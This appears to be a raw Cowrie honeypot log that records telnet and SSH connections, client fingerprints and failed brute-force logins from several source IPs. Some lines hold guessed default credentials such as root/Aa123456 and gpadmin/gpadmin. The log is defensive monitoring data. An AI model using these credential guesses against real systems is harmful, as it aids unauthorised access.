{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60952,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ff3f7d6d63c","protocol":"telnet","message":"New connection: 62.210.97.77:60952 (10.17.0.5:23) [session: 7ff3f7d6d63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:16.703691Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:17.003386Z","src_ip":"176.65.132.254","session":"a78eebf79305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60964,"dst_ip":"10.17.0.5","dst_port":23,"session":"3471d72ee14e","protocol":"telnet","message":"New connection: 62.210.97.77:60964 (10.17.0.5:23) [session: 3471d72ee14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:17.115822Z"}
{"eventid":"cowrie.session.closed","duration":34.64959716796875,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:17.680691Z","src_ip":"62.210.97.77","session":"9409aef63eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82791709899902,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:17.690042Z","src_ip":"62.210.97.77","session":"202bc872053c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60966,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8392292b091","protocol":"telnet","message":"New connection: 62.210.97.77:60966 (10.17.0.5:23) [session: d8392292b091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:17.708984Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34630,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b6c0d2292c5","protocol":"telnet","message":"New connection: 65.60.27.33:34630 (10.17.0.5:23) [session: 5b6c0d2292c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:17.885522Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:18.088646Z","src_ip":"176.65.132.254","session":"a78eebf79305","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.353506803512573,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:19.033491Z","src_ip":"134.209.8.29","session":"c74b1cfaf5ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":47346,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f98c2ef584a","protocol":"telnet","message":"New connection: 136.144.139.78:47346 (159.203.135.109:23) [session: 3f98c2ef584a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:19.089215Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba7d51ba52e2","protocol":"telnet","message":"New connection: 62.210.97.77:52992 (10.17.0.5:23) [session: ba7d51ba52e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:19.279095Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":49726,"dst_ip":"10.17.0.5","dst_port":22,"session":"14d0119790fc","protocol":"ssh","message":"New connection: 176.65.132.254:49726 (10.17.0.5:22) [session: 14d0119790fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:20.565610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:20.570427Z","src_ip":"176.65.132.254","session":"14d0119790fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:20.652178Z","src_ip":"176.65.132.254","session":"14d0119790fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:20.948371Z","src_ip":"176.65.132.254","session":"14d0119790fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:22.044776Z","src_ip":"176.65.132.254","session":"14d0119790fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":47356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b46f1ee2580","protocol":"telnet","message":"New connection: 136.144.139.78:47356 (159.203.135.109:23) [session: 2b46f1ee2580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:23.192779Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":37870,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cfabfacb5d0","protocol":"ssh","message":"New connection: 103.189.235.176:37870 (159.203.135.109:22) [session: 2cfabfacb5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:23.212940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:23.216969Z","src_ip":"103.189.235.176","session":"2cfabfacb5d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:23.450209Z","src_ip":"103.189.235.176","session":"2cfabfacb5d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.43784976005554,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:23.547947Z","src_ip":"62.210.97.77","session":"5efeb07bb263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06025147438049,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:23.690802Z","src_ip":"62.210.97.77","session":"c53709b996a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.61309552192688,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.023602Z","src_ip":"65.60.27.33","session":"b053102a5b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.18661665916443,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.028535Z","src_ip":"65.60.27.33","session":"eb5805daab72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":38042,"dst_ip":"159.203.135.109","dst_port":22,"session":"574371675752","protocol":"ssh","message":"New connection: 152.32.189.59:38042 (159.203.135.109:22) [session: 574371675752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.206888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.224483Z","src_ip":"152.32.189.59","session":"574371675752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser1","password":"tempuser1","message":"login attempt [tempuser1/tempuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.419314Z","src_ip":"103.189.235.176","session":"2cfabfacb5d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.514740Z","src_ip":"152.32.189.59","session":"574371675752","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52998,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e4769f12ac","protocol":"telnet","message":"New connection: 62.210.97.77:52998 (10.17.0.5:23) [session: 08e4769f12ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.523219Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":54334,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e4d7f80849f","protocol":"telnet","message":"New connection: 136.144.139.78:54334 (159.203.135.109:23) [session: 2e4d7f80849f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.559568Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42176,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ec60d7f8f7","protocol":"ssh","message":"New connection: 176.65.132.254:42176 (10.17.0.5:22) [session: e4ec60d7f8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.683831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.688843Z","src_ip":"176.65.132.254","session":"e4ec60d7f8f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.770905Z","src_ip":"176.65.132.254","session":"e4ec60d7f8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.71205759048462,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:24.848700Z","src_ip":"38.54.119.93","session":"c15a08af91d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:25.305777Z","src_ip":"176.65.132.254","session":"e4ec60d7f8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"p@ssw0rd","message":"login attempt [user2/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:25.401998Z","src_ip":"152.32.189.59","session":"574371675752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:25.663911Z","src_ip":"103.189.235.176","session":"2cfabfacb5d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:26.391140Z","src_ip":"176.65.132.254","session":"e4ec60d7f8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:26.641469Z","src_ip":"152.32.189.59","session":"574371675752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.81098222732544,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:26.864900Z","src_ip":"62.210.97.77","session":"2108da83be03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.87158441543579,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:28.666587Z","src_ip":"65.60.27.33","session":"04908166f075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56444,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa907e2350be","protocol":"telnet","message":"New connection: 62.210.97.77:56444 (10.17.0.5:23) [session: fa907e2350be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:28.690998Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":54348,"dst_ip":"159.203.135.109","dst_port":23,"session":"de4c56244842","protocol":"telnet","message":"New connection: 136.144.139.78:54348 (159.203.135.109:23) [session: de4c56244842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:28.696467Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42190,"dst_ip":"10.17.0.5","dst_port":22,"session":"509ff2a29da9","protocol":"ssh","message":"New connection: 176.65.132.254:42190 (10.17.0.5:22) [session: 509ff2a29da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:28.961539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:28.965195Z","src_ip":"176.65.132.254","session":"509ff2a29da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:29.046365Z","src_ip":"176.65.132.254","session":"509ff2a29da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:29.437831Z","src_ip":"176.65.132.254","session":"509ff2a29da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36610,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee6f85b6e0d5","protocol":"telnet","message":"New connection: 134.209.8.29:36610 (159.203.135.109:23) [session: ee6f85b6e0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:29.508543Z"}
{"eventid":"cowrie.session.closed","duration":0.9627931118011475,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:30.471238Z","src_ip":"134.209.8.29","session":"ee6f85b6e0d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:30.698756Z","src_ip":"176.65.132.254","session":"509ff2a29da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.48866581916809,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:30.777861Z","src_ip":"134.209.8.29","session":"41e2f892c5dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.14486479759216,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:31.809870Z","src_ip":"62.210.97.77","session":"553b403ffd46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.643290996551514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:31.880422Z","src_ip":"136.144.139.78","session":"cfc2901dd8c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.418627500534058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:32.421968Z","src_ip":"136.144.139.78","session":"dedb45a5de5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.654993772506714,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:32.666217Z","src_ip":"62.210.97.77","session":"14a0e3f7155d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56452,"dst_ip":"10.17.0.5","dst_port":23,"session":"d88e94b94593","protocol":"telnet","message":"New connection: 62.210.97.77:56452 (10.17.0.5:23) [session: d88e94b94593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:32.760571Z"}
{"eventid":"cowrie.session.closed","duration":30.823784112930298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:33.048475Z","src_ip":"136.144.139.78","session":"e3811a73a0e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47360,"dst_ip":"10.17.0.5","dst_port":22,"session":"e21f5f4cd043","protocol":"ssh","message":"New connection: 176.65.132.254:47360 (10.17.0.5:22) [session: e21f5f4cd043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:33.143087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:16:33.147794Z","src_ip":"176.65.132.254","session":"e21f5f4cd043","protocol":"ssh"}
